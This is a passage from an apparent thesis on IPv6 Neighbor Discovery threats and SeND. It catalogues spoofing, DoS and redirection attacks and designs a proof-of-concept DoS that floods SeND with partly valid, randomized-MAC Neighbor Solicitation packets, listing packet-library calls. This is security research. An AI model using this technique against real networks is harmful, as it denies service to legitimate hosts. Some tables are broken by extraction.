solutions. 
Here is the list of potential threats on a regular ND: 
• Neighbor Solicitation/Advertisement spoofing 
A malicious node can send a NS message with a wrong Source Link Layer Address 
option, or a NA message with a wrong Target Link Layer Address option.  Either one of 
these messages would populate attacker the target’s Neighbor Cache with wrong IP--
MAC mappings.  The target would send information to the wrong nodes, setting itself up 
for man-in-the-middle attacks and password and other sensitive information sniffing, 
effectively creating a redirection or DoS attack.  This can be leveraged further if a trusted 
node used for certification of other nodes can be convinced to vouch for a different 
address than originally intended. 
• Neighbor Unreachability Detection (NUD) failure 
NUD is usually used to detect disappearance of nodes from the network.  In an event of 
prolonged lack of communication with a host, a NS message is sent.  If no NA response 
is obtained after a few tries, the Neighbor Cache entry is deleted.  However, if the 
soliciting node needs to communicate with the target node, a new NS multicast is sent to 
look for a new hardware address.  A malicious node could send forged NA responses to 
the NUD-induced NS messages.  The soliciting host might be led to believe the new 
hardware address which can be maliciously set to a nonexistent entry, effectively 
eliminating communication with the target host. 
• Duplicate Address Detection DoS attack 
Yet another twist on forged NS/NA messages might come in the form of a malicious host 
replying to all DAD requests, claiming that the address in question is already taken, or is 
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already in a DAD process.  Such attacks are especially dangerous, as they can be 
performed using a multicast, thus reaching everyone on the network segment.  This 
approach can deny communication to large numbers of hosts at the same time. 
• Malicious Last Hop Router 
A malicious router can send spoofed RA messages, pretending to be the target of RS 
messages.  This would establish such a router as the default router.  If the actual router 
was compromised, it would become a perfectly functional proxy, allowing hosts to carry 
on with regular transmissions.  At the same time, the attacker could tunnel data out of the 
router to another computer, where sniffing for credentials could occur. 
• Default router is 'killed' 
RFC2461 states that “if the default router list is empty, the sender assumes that the 
destination is on-link.”  If we can convince a host that no routers exist on-link, the host 
will try to directly resolve the address of the original destination, and connect to it.  
Spoofing more NS/NA messages can direct the requesting host to communicate with a 
malicious host.  Any method of DoS-ing the router would work in this case.  In case we 
have a network with a certificate-based router authentication, we could “eliminate” 
routers from the network by sending invalid certificates to the requesting hosts.  This can 
be used as either DoS or redirect attack. 
• Good Router Goes Bad 
When a previously secure router is exploited, attackers can launch all the other Router 
Discovery based attacks described in this thesis.   
• Spoofed Redirect Message 
An attacker can spoof a Redirection message by sending an order to a valid host.  Hosts 
validate the source of a Redirection message by the Link Layer address.  Without an 
authorization method, such a message can be sent by anyone on the local network with 
the ability to forge the sender’s Link Layer address. 
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• Bogus On-Link Prefix 
Another way of wreaking havoc on the local network could be done by sending spoofed 
RA messages advertising a non-existing network prefix.  Hosts that accepted such an 
advertisement will believe that nodes on the spoofed network segment are on-link, and 
will attempt to contact them directly (without help from a router) by performing an 
NS/NA exchange.  If an attacker will not spoof a response to such a NS message, the 
originating host will be left with no one to communicate with, effectively DoS-ing the 
target prefix.  If an attacker leverages a bogus prefix advertisement with more spoofed 
NA packets, this can become a potential Man in the Middle attack, redirecting all traffic 
to a sniffing proxy transparent to the legitimate requestors. 
• Bogus Address Configuration Prefix 
Similar to the previous attack, a spoofed and invalid network prefix can be sent out to a 
host attempting address autoconfiguration.  The host will then create an address out of the 
wrong network prefix, effectively placing it on a wrong network.  This will result in 
losing connectivity because of the incorrect return address. 
• Parameter Spoofing 
RA messages contain extra parameters that can be helpful to the autoconfiguring hosts.  
In case such parameters are falsified, nodes might be forced to follow rules that might get 
them to talk to wrong hosts, or lose connectivity.  The Current Hop Limit is one of the 
fields propagated in RA messages.  If this parameter is set to an artificially low number, 
the packets will be dropped before they reach their intended destinations.  Another 
peculiar aspect of the ND protocol is that one of its parameters can be used to indicate to 
hosts to use DHCPv6.  If an attacker provides a rogue DHCPv6 daemon, it can be used to 
leverage further attacks by propagating incorrect information to hosts on the local 
network.  This can be prevented by a simple ‘minimum hop count’ limit on the clients, 
but due to the nature of networks, such a value would have to be set on network by 
network basis, violating the zero-configuration principle. 
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• Replay attacks and remotely exploitable attacks 
ND provides no protection against replay attacks.  With no control over the physical 
media, valid packets can be captured and used for replays at any other time. 
• Replay attacks 
An attacker could imitate a valid host by replaying all the messages captured during the 
initial exchanges needed for a valid host to establish itself on the network.  After the real 
host goes offline, the attacker could take over the target’s address and initiate new 
connections with routers and other hosts just like the original node did. 
• Neighbor Discovery DoS Attack 
An attacker can keep the local router busy with massive amounts of valid ND requests.  
The router would stay busy servicing the bogus requests, while requests from the valid 
hosts could be delayed beyond a useful timeframe and eventually ignored completely. 














ND Redir NA/NS + + + 
NUD failures ND DoS NA/NS - + + 
DAD DoS ND DoS NA/NS - + + 
Malicious 
Router 
RD Redir RA/RS + + R 
Default router 
kill 
RD Redir RA +/R +/R R 
Good Router 
Gone Bad 
RD Redir RA/RS R R R 
Spoofed 
Redirect 
RD Redir Redir + + R 
Bogus on-link 
prefix 
RD DoS RA - + R 
Bogus address 
config 
RD DoS RA - + R 
Parameter 
Spoofing 
RD DoS RA - + R 
Replay Attacks ALL Redir All + + + 
Remote ND 
DoS 
ND DoS NS + + + 
-Threat not present + Threat present, solution known R   Threat present, no known solution [18] 
Table 4.   Summary of ND attacks on different networks. 
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The greatest concern of this threat assessment is:  “Most of the solutions to the 
attacks listed above are considered solved in principle, not implementation.  These 
solutions revolve around a concept of a host’s being able to authenticate itself to other 
hosts, and doing so using cryptography [18].”  
B. ND THREAT CLASSIFICATION AND MITIGATION 
All these attacks against the original ND protocol can be divided into three 
classes: 
• Impersonation/Spoofing—with no Link Layer control and trivially 
changeable MAC addresses, any host can claim to be any other host.  This applies to both 
routers and hosts alike, though router address spoofing has a higher damage potential, as 
it can be used for man-in-the-middle attacks. 
• DoS—spoofing NUD and DAD replies can effectively DoS machines as 
their neighbors think they have gone off-line (NUD spoofing) or the attackers never 
allow them to get on-line (DAD spoofing). 
• Redirection—while the methodology of this attack is the same as the 
impersonation class of attacks, the goal is actually the misdirection of target hosts, or 
other hosts attempting to connect to target hosts.  Attackers can maliciously announce 
changes in addresses of routers, or entire network prefixes, making the entire network of 
computers think they are somewhere else. 
All of the above are the result of two unresolved issues:  authentication and 
authorization.  Nodes on the network have arbitrary identities, and as such, malicious 
users can take on these identities.  Proving these identities to other nodes is another 
problem.  Other hosts take all the information from packets and process it as if it is the 
truth, as there is no mechanism to verify identities in any way.  On a network with a tight 
control over what host is allowed to take on which address, there is still nothing stopping 
a valid host from ”upgrading” itself to a valid router.  This is called authorization--not all 
nodes are created equal, nor do they have identical rights, privileges, and responsibilities.  
However, there is no mechanism to monitor, assign, or control the functionality expected 
out of each and every node on the network. 
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To overcome all these problems, MAC addresses would have to be impossible to 
alter, and every node would be physically connected to a port on a switch, which would 
need an extensive configuration.  Every port would need a list of other hardware 
addresses it is allowed to communicate with, coupled with an Access Control List of the 
ports and services it was designed to serve.  This would eliminate the problems this thesis 
is exploring, but it still does not eliminate possibilities of abuse, as users are still able to 
run prohibited services on non-standard ports, forcing the administration to perform a full 
network stack inspection and reassembly on every packet.  Such a network would be a 
managerial nightmare, as every computer, device, and port on all networking devices 
would have to be extensively configured to reflect the official policy.  Modern networks 
tend to be very dynamic, with laptops moving around and users attaching computers to 
networks they are not physically on through VPN tunneling, in addition to the more 
prosaic problems like computer hardware failures or software misconfiguration.  In 
environments like this, setting a static policy and expecting it to uphold in a secure state 
in a deterministic fashion without major problems is unrealistic.   
Regular ND was not designed to deal with any such issues.  SeND designers took 
these issues into consideration and tried to provide a solution to some of them. 
C. SEND AS A SOLUTION 
SeND claims to solve the mutual authentication problem.  An IPv6 address is a 
function of a public key, and the public key is verifiably bound to the private key.  This 
three-way binding is supposed to prevent a malicious user from spoofing the IPv6 
address.  Impersonation attacks would fail because of not being able to generate the IP 
address at all (lack of public key), or not being able to establish the binding between 
private and public keys (lack of private key). 
Replay attacks are supposed to be prevented by using nonces and timestamps.  
Old packets should simply fail, being outside of the allowed time difference, or due to 
response with an old nonce. 
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Redirection attacks are defended by the same mechanism as the impersonation 
attacks.  Without possession of the private and public keys, an attacker would fail to pass 
the checks and the redirections would be ignored. 
When using SeND with trust roots or pre-shared certificates, hosts could verify 
router advertisements by checking if the address in the RA packet is able to authenticate 
itself with a proper certificate. 
Let’s look at the three classes of attacks discussed earlier in this chapter, and see 
how SeND claims to eliminate them. 
• All of the following attacks can be defended against, as the malicious node 
can send NS or NA messages and SeND on the receiver’s end would not allow the 
packet’s data to populate the attacker’s target’s Neighbor Cache, as they would fail the 
CGA verification. 
• Neighbor Solicitation/Advertisement Spoofing 
• Neighbor Unreachability Detection (NUD) failure 
• Duplicate Address Detection DoS Attack 
• Malicious Last Hop Router 
• Default router is 'killed' 
• Good Router Goes Bad 
• Spoofed Redirect Message 
• Bogus On-Link Prefix 
• Bogus Address Configuration Prefix 
• Parameter Spoofing 
• Replay attacks and remotely exploitable attacks 
Replay attacks are defeated by using nonces and timestamps.  Just like in any other case 
of SeND failure, the packet gets quietly discarded. 
• Neighbor Discovery DoS attack 
DoS attacks are defeated by keeping caches of keys and nonces, allowing the host to 
quickly recognize attacks, and quietly discard the rogue packets. 
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IV.  EXPERIMENT ONE—BASELINE 
A. PRINCIPLES OF SECURITY EXPERIMENTATION 
Before we proceed with descriptions of the experiments, let’s look at a few simple 
principles applicable to any scientific pursuit.  For the attack to be successful and highly 
probable, it needs to follow a few general guidelines. 
A good attack should… 
• be able to circumvent most simple security mechanisms and mitigation 
techniques 
• not need contrived configurations 
• work against the biggest number of targets, regardless of types, 
implementations and platforms used 
A good experiment should… 
• have clear results 
• be easily reproducible 
• be verified against multiple targets 
• have well documented assumptions and procedures 
All these principles were followed, as the experiment chapter will demonstrate. 
B. PROPER OPERATION WITH SEND-ENABLED HOSTS 
The main idea behind SeND revolves around binding the public key to an IP, so 
in case of accidental or malicious alterations of any of these entities, the recipient can 
detect it. 
At first, when a node sends a SeND-augmented packet to another node, the 
recipient establishes that the IP address from which the packet claimed it came is also in 
possession of the public-private key pair.  It uses the source address and the contents of 
the CGA option to verify the integrity of the public key, and then uses that key to decrypt 
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the signature contained in the RSA option.  Successful decryption establishes that the 
packet was signed with the private key corresponding to the public key.  In case of a 
spoofed IP or public key, the CGA check will fail as the hashes will be different.  Even if 
the CGA is created from a spoofed public key, the SeND daemon should drop the packet 
based on the digital signature check, as long as the attacker has not had a chance to obtain 
the private key [2], [3]. 
That is the theory.  To see it in practice, a test program was created.  The program 
used the same address as the proper client’s CGA, but a different public key, establishing 
the standard behavior of a rejected packet. 
This is a SeND exchange sequence between two normally operating hosts  
(Alice# ping6 –c3 bob) 
 
 
Figure 10.   Proper SeND operation 
 
Alice tries to ping Bob.  Bob only talks to hosts whose hardware addresses he has 
already in his Neighbor Cache.  For that to happen, Bob sends an NS to the multicast 
address and Alice answers it with the correct unicast, solicited NA packet.  Now Bob has 
established that someone claiming to be Alice has the correct IP and the corresponding 
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key pair.  A few seconds later, Alice proceeds to authenticate Bob with a unicast NS/NA 
exchange, ensuring reachability, and records it in the Neighbor Cache as a MAC entry 
with a REACHABLE state. 
C. ATTEMPT OF SPOOFING SEND-ENABLED HOSTS 
This is what happens when an Attacker program tries to resolve the hardware 
address of the Victim with the IPv6 address set to the CGA generated IPv6 address from 
the previous (legal) exchange, but with different keys.  The Victim fails the CGA checks, 
as the hash generated from the public key does not agree with the CGA itself. 
 
 
Figure 11.   SeND not responding to spoofed packets 
 
This is a log of a SeND daemon on the Victim machine.  The CGA Option data is 
parsed to obtain all the contents necessary to recreate the Cryptographically Generated 
Address. 
This output was generated by SeND’s debug mode on Bob, a result of an attempt 
of performing Neighbor Solicitation from a IP different from the CGA generated one: 
[May 29 14:16:33] sendd: libcga: cga_verify: Parsing DER-encoded data 
[May 29 14:16:33] sendd: cga_verify: modifier:  
        83 9d 42 3e f6 cc 9f ac  6c 7b af e1 d7 ab c7 33  
 [May 29 14:16:33] sendd: cga_verify: prefix:  
        fe 80 00 00 00 00 00 00   
[May 29 14:16:33] sendd: libcga: cga_verify: collision count: 0 
[May 29 14:16:33] sendd: cga_verify: hash1:  
        3c 6c 9d 0a 3c a0 5c ae   
[May 29 14:16:33] sendd: libcga: cga_verify: --- Setting bits --- 
[May 29 14:16:33] sendd: setbits: interface identifier:  
        3c 6c 9d 0a 3c a0 5c ae  address recreated from contents CGA option  
[May 29 14:16:33] sendd: setbits: interface identifier:  
        30 b4 f5 2d 58 4f 5c df  address from IP source field 
[May 29 14:16:33] sendd: libcga: cga_verify: hash1 does not match 
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The last line does not explicitly state that the packet was dropped, but that is the 
default SeND behavior: when any of the checks are failed, packets are to be quietly 
discarded.  This way, the SeND daemon quickly dismisses a bad packet using a hash 
comparison, before embarking onto more computationally expensive RSA signature 
verification. 
D. LESSONS LEARNED FROM EXPERIMENT ONE 
This scenario shows how SeND works in intended scenarios.  The reality is 
slightly different.  In a true autoconfiguration protocol, in which hosts do not store data 
describing the network they are about to connect to, hosts have nothing with which to 
validate claimed identities.  The easiest analogy is a border guard without a list of people 
expected that day, who then lets through anyone with a face which is similar enough to a 
picture in a seemingly legal passport.  He does not even have a way to verify that a 
person with such a credential exists at all.  Circumventing such a system does take a 
slightly higher level of effort than no guard at all, but all it takes is some forged 
documents and a fresh photo. 
The analogy applies to SeND and its reliance on public and private keys.  Any 
host can seem to be a valid host as long as the two keys correspond.  The face is the 
public key, the passport is the private key, and as long as they correspond there is no 
reason to suspect malicious intent.  The only way to notice any inconsistencies is to keep 
a list of all credentials passing through the checkpoint, and if a different person (packet) 
tries to pass through with the same passport credentials (key pair), the guard (SeND 
daemon) should check against the list of recently verified credentials (caches) and realize 
something is wrong.  This is exactly the approach SeND takes.  If there are no problems 
with verifying the IP address and the keys, packet credentials are inserted into the 
Neighbor Cache (the recently verified credential list).  If another packet arrives from a 
different MAC address but claiming to have the same keys, SeND knows there is a 
problem.  The problems arise from practical concerns:  How long is the list kept?  What 
does the list contain, and must all the stored pieces of information match, or just one of 
them, to indicate a problem? 
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Once a CGA is created from a particular key pair it is highly unlikely for anyone 
else to be able to generate keys that would yield this particular CGA address.  There is no 
parallel to such dependency in the border guard analogy; any face can go with any 
passport, and there is nothing distinct about their combination.  This is the only benefit 
that stems from cryptographically binding the IP address with the key pair. 
Another problem with SeND exists only because of the practical limitations.  The 
Neighbor Cache keeps credentials around for only 40 seconds before their official 
validity status is downgraded.  Because anyone can create a valid key pair and present it 
as credentials, after the cached values time out, packets with new identities can arrive 
from the same IP but with different keys, and SeND will accept it, as it has never seen 
any other node claiming the same set of credentials.  The short time span for valid entries 
in the Neighbor Cache is to limit potential for abuse by overpopulating the table with 
bogus requests, creating resource exhaustion.  This very safeguard undermines the 
usefulness of SeND: if the storage time were lengthened, an attacker could exhaust 
resources, but the shorter storage time allows an attacker to spoof identity of hosts who 
previously occupied a particular IPv6 address. 
The Neighbor Cache is an IPv6 construct, and as such it contains only IPv6 and 
MAC entries.  Other information like keys, nonces, and timestamps, has to be tracked by 
a separate daemon, and that’s what SeND is.  Just like in a real life scenario, keeping lists 
allows for spotting inconsistencies, but with enough entries to keep track of, the records 
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V.  EXPERIMENT TWO-ATTACK ON SEND 
A denial of service (DoS) [19] attack is an explicit attempt of malicious users to 
prevent legitimate users from using a service (e.g., a Web site).  DoS attacks are often 
achieved by means of resource exhaustion on the target machine.  One metric of damage 
in a DoS attack is the amount of packets dropped during the attack between the legitimate 
client and the target of the DoS.  To measure the number of packets dropped, the “ping6” 
command is used to probe the Victim computer with an ECHO packet once every second. 
A. DESIGN 
The principle behind every DoS attack is simple:  obeying the rules is more 
expensive resource-wise than not obeying them.  Thus the rule disobeying hosts can 
always generate more requests than the rule obeying servers can process.  The SeND 
protocol uses Public Key encryption as a first line of defense, which by nature is 
computationally expensive.  The process of signing a packet with a private key is usually 
two magnitudes more expensive than that of verifying the signature.  As long as it takes a 
lot more computing power to craft a packet than to validate it this approach seems to 
work in favor of the security defenders.  On the receiving end, every packet must undergo 
two SHA-1 hashing operations to verify the CGA.  Then, if they are correct, the receiver 
proceeds to decrypt the RSA signature with a public key delivered in the CGA Option of 
the SeND message.  The RSA key verification is not as expensive as signing, but it is still 
an expensive operation to carry out, especially in the context of using it on every packet.  
To get a good idea of what kinds of performance the test machines are capable of, a 
benchmark was run.  This benchmark is a part of the OpenSSL suite, the libraries of 
which are used by the SeND daemon to perform all the cryptographic operations.  These 
are the results of executing the “openssl speed rsa” benchmark command on the Victim 




Time to sign 
(sec) 
Time to verify 
(sec) sign/sec verify/sec 
512 0.00074571 0.00006964 1341 14360 
1024 0.00370370 0.00019627 270 5095 
2048 0.02222222 0.00063654 45 1571 
4096 0.14285714 0.00225734 7 443 
Table 5.   RSA benchmarks 
 
Due to the great variety of compilers, software libraries, and hardware involved, it 
was pertinent to get an idea of how all these variables influence the actual RSA 
processing speeds.  Experiments with newer compilers (GCC versions 4.1, 4.2, 4.3) and 
different compilation options yielded very little change (<10%) in results compared to the 
standard OpenSSL distribution that is part of a fully patched FreeBSD 6.2 system.  In 
terms of hardware, the processing speeds were mostly dependent on the raw CPU power 
of the hardware platform.   
The process of signing with 4096-bit RSA keys is the most demanding benchmark 
in the OpenSSL suite: therefore it was used to determine the difference between various 
hardware and software combinations.  Among the lab machines there was a range of 5.5 
to 8.9 4096-bit keys signed per second.  To be able to pre-calculate attack packets in a 
reasonably short time, attackers would have to gain access to hardware at least two 
magnitudes faster than the target machine.  As mentioned before, it’s impossible to gain 
two magnitudes advantage merely by using slightly newer hardware and clever software 
optimizations.  Unfortunately, the same rules apply to the defenders.  The only 
significant, magnitude scale changes in performance are achievable only by changing the 
length of the RSA keys. 
With that in mind, one must think of the networking equipment that would most 
likely implement SeND—the routers on the internal networks.  The problem is that 
historically they have been optimized for latency and bandwidth, not cryptography and 
number crunching.  Until recently, networking equipment carried very little 
cryptographic support, except with specialized hardware such as SSL accelerator cards 
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and VPN concentrators.  This makes traditional routers very easy DoS targets for any 
CPU-intensive resource exhaustion attacks.  Upon much Internet research and inquiries to 
insiders in large networking companies, no one was able to provide any hard figures on 
the cryptographic abilities of traditional routing equipment.  It is reasonable to assume 
that any non-hardware accelerated router will be magnitudes slower than a modern 
general use CPU.  If this assumption is true, the networking equipment would be 
vulnerable to DoS attacks even if short keys are used. 
B. ATTACK VECTORS ASSESSMENT 
When considering the practical ramifications of the RSA cryptology, a few 
different attack vectors on the SeND-protected hosts became evident. 
Expensive cryptography should keep the daemon very busy.  According to the 
benchmarks, if the server is running with a 4096-bit key it takes fewer than ten regular 
client nodes requesting information to keep the daemon busy for an entire second on a 
very fast machine.  The table below demonstrates eight clients trying to get service from 
a server capable of handling only seven clients per second.  Client 8 waits its turn, but 
depending on queuing and scheduling mechanisms, the client might never get serviced.  



















1/7 VER NO VER NO VER NO VER NO VER NO VER NO VER NO VER 
2/7 NO VER VER NO VER NO VER NO VER NO VER NO VER NO VER 
3/7 NO VER NO VER VER NO VER NO VER NO VER NO VER NO VER 
4/7 NO VER NO VER NO VER VER NO VER NO VER NO VER NO VER 
5/7 NO VER NO VER NO VER NO VER VER NO VER NO VER NO VER 
6/7 NO VER NO VER NO VER NO VER NO VER VER NO VER NO VER 
1 NO VER NO VER NO VER NO VER NO VER NO VER VER NO VER 
1 1/7 VER NO VER NO VER NO VER NO VER NO VER NO VER NO VER 
1 2/7 NO VER VER NO VER NO VER NO VER NO VER NO VER NO VER 
1 3/7 NO VER NO VER VER NO VER NO VER NO VER NO VER NO VER 
1 4/7 NO VER NO VER NO VER VER NO VER NO VER NO VER NO VER 
1 5/7 NO VER NO VER NO VER NO VER VER NO VER NO VER NO VER 
1 6/7 NO VER NO VER NO VER NO VER NO VER VER NO VER NO VER 
2 NO VER NO VER NO VER NO VER NO VER NO VER VER NO VER 
Table 6.   Event timing of clients overwhelming a server 
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Even if it is impossible for the attacker to force the server to respond with signed 
messages, the attacker could send packets to induce the server into key verification.  The 
attacker can pick the length of the RSA key needed to verify the packet, dictating the 
amount of time the target machine will take to work on a packet.  According to the 
benchmark data above, the Victim computer can perform about 450 verifications of a 
4096-bit key per second.  Anything above that rate will cause the packets to be queued 
up, or discarded, depending on the implementation.  The real culprit here is that the few 
relatively quick checks (timestamp, ICMPv6 checksum, the CGA hash) are easy to spoof, 
while the slow RSA decoding occurs whether the contents are valid or not. 
Internal rate limiting, intended as a security measure against DoS, might be used 
against the daemon itself, as long as the attacker keeps requesting service at the 
maximum rate allowed by the daemon’s rate limit.  Any regular clients would have a slim 
chance of receiving service due to the daemon’s self protection.  If the developers try to 
prevent dropping of packets by having large queues, then the daemon becomes a target 
for a resource exhaustion attack.  Queuing packets for later processing is not a real 
solution either, as the attacker could either completely saturate the queue (resource 
exhaustion), or merely delay the processing of legal packets enough that the regular client 
will deem that packet lost, and send another request, further worsening the problem 
(timeout attack).  RFC2491 states that most ND requests are repeated three times, and 
then the attempts are stopped, to prevent hosts from being tricked into sending infinite 
numbers of packets. 
To mitigate the attacks described above one may have the daemon cache public 
keys, CGA’s, or MAC addresses that were verified as legal.  Such a daemon could be a 
victim of a resource exhaustion attack, especially if the attacker pre-calculates enough 
keys to saturate the ‘safe keys’ cache quickly.  If the daemon implementation performs 
the safe key check only for MAC addresses seen before, the attacker could attach a SeND 
augmented IP packet created from one key to a frame with a randomized MAC address.  
Such an attack would be possible only on networks with no protection of the Link Layer.  
Unfortunately, the popular media like the Ethernet and the wireless 802.11 standards 
provide little or no protection for the Link Layer. 
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Another threat that stems from the attempts of compromising security for the sake 
of performance would be the ability to hijack a connection for a short period of time.  
Caching keys and MAC addresses which have recently undergone the SeND verification 
assumes that there is no need to keep re-verifying the CGA and RSA signature for some 
period of time.  In this ‘grace period’ an attacker could spoof some packets with a MAC 
of the recently verified machine, and the victim machine would gladly accept it.  A recent 
addition of a host to Neighbor Cache can be easily observed by sniffing the network and 
seeing two opposite SeND-augmented NS/NA exchanges from a pair of hosts.   
C. PLAN OF ATTACK 
The proof of concept developed for this thesis was meant to be a true experiment, 
not knowing ahead of time which aspect of the attack would trigger a DoS-like condition 
first.  There are multiple vectors of attack, and the attack program tries to achieve them at 
the same time, while it really only needs one.  A researcher can observe various aspects 
of the attack without preconceived expectations of behavior for both attacker’s and 
victim’s sides.  Because SeND is still in early stages of development, one should not 
assume that the RFC specifications are followed to the full extent, and therefore the 
attack code must be ready to deal with potentially unpredictable behaviors.  Increasing 
the probability of success for the attack will bring more insight to potentially multiple 
flaws in SeND’s design or implementation.  It also gives more insight to the potential 
environment in which such an attack could be launched.  On a slow network this attack 
might not trigger the rate limiting mechanism if the packet size multiplied by the number 
of packets per second is smaller than the total bandwidth.  However, the number of 
packets sent might still be enough that the number of cryptographic computations needed 
to process these packets will overwhelm the victim.  On a fast network with Link Layer 
protection where MAC spoofing would be impossible, this attack should trigger rate 
limiting.  In general, the CPU of the target and the speed of the link are the two biggest 
determining factors in tailoring the key length and number of processes needed to carry 
out the attack. 
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Here is the list of major goals attempted by this proof of concept attack: 
• Create the best fake SeND packets possible with no a priori knowledge, 
simulating a real world scenario.  The hypothesis is that it is impossible to prevent a DoS 
attack from overwhelming the target CPU with asymmetric cryptography operations. 
• Leverage the lack of Link Layer protection, and generate as many MAC 
frames with the same key pair as possible.  This would force the daemon to verify every 
malformed packet, exploiting the fact that the daemon has no way of knowing if a new 
packet comes from a new client, or a malicious attacker.  This could also determine the 
number of packets required to overwhelm the CPU. 
• Lower the time needed to generate packets, while maintaining enough 
variety that no caching mechanisms on the victim’s side would be able to drop attacking 
packets by executing cheap verifications. 
D. IMPLEMENTATION OF ATTACK CODE 
At first it seemed like the best attack vector was to send out unsolicited 
Neighborhood Advertisement packets.  Because they do not have to be solicited, they do 
not contain a nonce, making them easy to spoof.  Also, it is logically impossible to rate 
limit the number of incoming advertisements on the victim’s end, as there is no way of 
predicting or controlling when, how many, or how frequently such packets should be 
expected.  The victim must process all incoming advertisements, to be aware of changes 
of router addresses, on-link prefixes, and changes of address, as well as DAD and NUD 
responses. 
The difficulty of realizing an attack with an unsolicited NA packet arises from the 
fact that a host will ignore such a packet unless it has a recent entry for that IP address in 
its Neighbor Cache already.  To create a valid Neighbor Cache entry, the attacker would 
have to create a valid key pair, send an NS, trigger an NS in response from the victim and 
then properly respond with an NA.  Such a process is too time consuming, and is not a 
viable approach for an attack until a method of placing a large number of MAC addresses 
in the victim’s Neighbor Cache is found. 
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This attack originally implemented an approach involving generation of many 
valid Neighbor Solicitation requests, and forcing the victim to send responses to the 
attacker, which would require the victim to perform the very slow process of signing its 
own packets.  With this approach, fewer than ten packets per second are needed to keep 
the CPU overwhelmed with a 4096-bit key.  Even if a 1024-bit key is used, the CPU can 
handle only about 270 valid responses per second.  Once an attack packet has passed the 
simple non-crypto checks, it would force the victim to try to verify the sender’s IPv6 
address and keys in order to place IPv6 and MAC entries in the Neighbor Cache, further 
tying up its resources. 
The problem with this attack is the time required to create that many perfectly 
valid requests.  The content of the entire SeND packet would have to be perfect, even 
inside of the RSA Option, which would require the attacker to create both private and 
public keys, create a CGA address out of the public, and sign with the private key.  This 
could be very computationally expensive on the attacker side, possibly requiring many 
machines dedicated to the cause.  It would be impossible to create a packet once and 
replay it easily, as the changing Timestamp Option would change the checksum, which is 
protected inside of the RSA Option preventing attackers from replaying one packet many 
times.  Another problem is that the attacker has no choice in how expensive the signing 
process would be.  A victim with a short key would not spend enough time crafting its 
own packets for the attack to be successful.   
The approach used in the actual proof of concept was aimed to address the lowest 
common denominator of requirements and assumptions necessary to carry out a 
successful attack.  The attack uses Neighbor Solicitation packets, which are accepted by 
both routers and hosts.    This attack should work against any host or router willing to 
communicate with another SeND enabled host.  Creating NS packets takes over control 
of variables like nonce values and key sizes instead of avoiding them.  In a case when the 
Victim employs per-host ND message rate limiting, the attack program has been designed 




attack packets may come from a different valid host.  This attack addresses the goals 
listed earlier: resulting in highly probable attack, given a certain ratio of bandwidth to 
victim’s computing power. 
It is our hypothesis that one could create a packet that passes the CGA hashing 
tests, as well as ICMPv6 checksum, timestamp and nonce checks.  The RSA portion 
could contain arbitrary bytes, as long as it is of realistic length, to bypass possible attack 
detection by performing heuristics to look for malformed packets.   
Let’s see if it is mathematically possible to launch an attack based on creating a 
4096-bit key, making a valid SeND packet, and replaying it against the victim machine.  
The attacker needs to submit about 450 verification requests per second to overwhelm the 
Victim.  Each packet is about 1200 bytes long with some variance depending on options.  
Therefore this attack needs about 540 kbytes of bandwidth, which is well within typical 
100 Mbit Ethernet bandwidth.  SeND provides users with a debugging environment to 
monitor SeND live in action.  There are four types of caches to be monitored:  Solicit, 
Advert, Timestamp, and Prefix.  During regular SeND exchanges, the cache entries 
would populate, demonstrating proper operation.  Therefore, when planning the attack, 
such caching capabilities were taken into consideration.  The attack assumes that such 
caches operate correctly, preventing unnecessary processing of identical packets.  
Depending on the timing values of how long a given cache entry would be valid, the 
number of simultaneous clients might need to increase, and to ensure that at all times the 
daemon has at least 450 verifications to be processed.  These interval numbers seemed to 
vary, but the maximum observed interval between two communicating hosts without a 
NS/NA exchange was about 20 seconds in standard configuration.  For such an attack to 
work there would have to be about 450*20=9000 attacker processes running, making it 
very difficult to carry out. 
This attack turned out to be much easier to carry out than originally planned, 
mostly due to the relationship between the SeND daemon and the operating system’s 
Neighbor Cache.  If any of the SeND checks fail, the packet is silently discarded and it 
never continues with the normal ICMPv6 processing, and thus has no chance of 
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becoming a valid Neighbor Cache entry.  If the SeND verification succeeds, but any of 
the ICMPv6 checks fail,  the MAC/IP entries will also never become an entry in Victim’s 
Neighbor Cache.  Thus the same bad packet would be inspected every time it arrives to 
the Victim, and one can ignore the cached timeout requirement, significantly bringing 
down the number of attackers needed.  SeND documentation and code do not indicate 
keeping track of bad entries.  Thus the daemon can be forced into a continuous barrage of 
checks, rendering the ‘grace period’ cache of safe addresses completely irrelevant.  
Without keeping track of bad requests, the daemon effectively works in a contextless 
mode in which every packet must be inspected, and this is exactly what this attack needs 
to run successfully without high numbers of attacker processes. 
The peculiar aspect of this attack is that while the attack is based on spoofing 
packets, each packet must be less than perfectly spoofed to avoid the protection 
mechanisms.  The SeND designers protected the protocol against packets that are trivially 
wrong, or perfectly valid, but have not considered the behavior of their daemon when 
processing a partially correct packet. Normally, a packet can be either correct or not, but 
the partial correctness shows up only because of multi-stage processing with various 
costs at each stage. 
According to the benchmarks discussed earlier, in the worst case it will take about 
450 processes for the attack to succeed.  While the number is not as high as originally 
thought, it is still not a trivial problem to first spawn, and then maintain 450 packet 
blasting sources at high rate on a single computer.  The library used for creating the 
almost-perfect-but-still-failing SeND packet is not thread-safe, forcing the attack to be 
written using the more CPU-intensive forking instead of threading.  Using a simple 
debugging code it was clearly visible how slow the rate at which new processes was 
when going past only 30 processes.  The goal of 450 processes running from one 
attacking machine seemed distant, but the code was written with flexibility and 
experimentation in mind, allowing quick parameter changes, in case these calculations 
are not a close estimation of SeND’s capabilities. 
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The time needed for creation of each packet was diminished by using the fact that 
SeND is unable to maintain MAC Layer security.  The entire attack used one key, the 
creation of which is the slowest part of the entire attack.  The program uses this single 
key to create CGA addresses and populate the CGA Option fields.  The ICMPv6 
checksum gets calculated and set, and the RSA encrypted portion of the packet is filled 
with random values.  Finally, the IPv6 packet is constructed, and the spawning of the 
child processes begins.  Every separate child process inserts the previously created IPv6 
packet into an Ethernet frame with randomly assigned MAC addresses.  Then the entire 
frame is replayed an arbitrary number of times. 
 









Pkt= thc_add_send(pkt, CGA_options); 





Thc_generate_key generates public key of requested length. 
Thc_generate_cga generates set of options needed to create a CGA Option. 
Thc_create_ipv6 generates an IPv6 packet with all necessary fields. 
Thc_add_send generates an ICMPv6 packet with all necessary ICMPv6, ND and SeND 
options.  The RSA option is filled with random characters as it’s intended to fail. 
Thc_generate_pkt generates an Ethernet frame and attaches the IPv6 and ICMPv6 
portions of the packet to it, creating a complete, valid frame. 
Thc_send_pkt sends out a frame on the appropriate interface. 
 
Random MAC’s should defeat attack detection heuristics.  The NS packet forces 
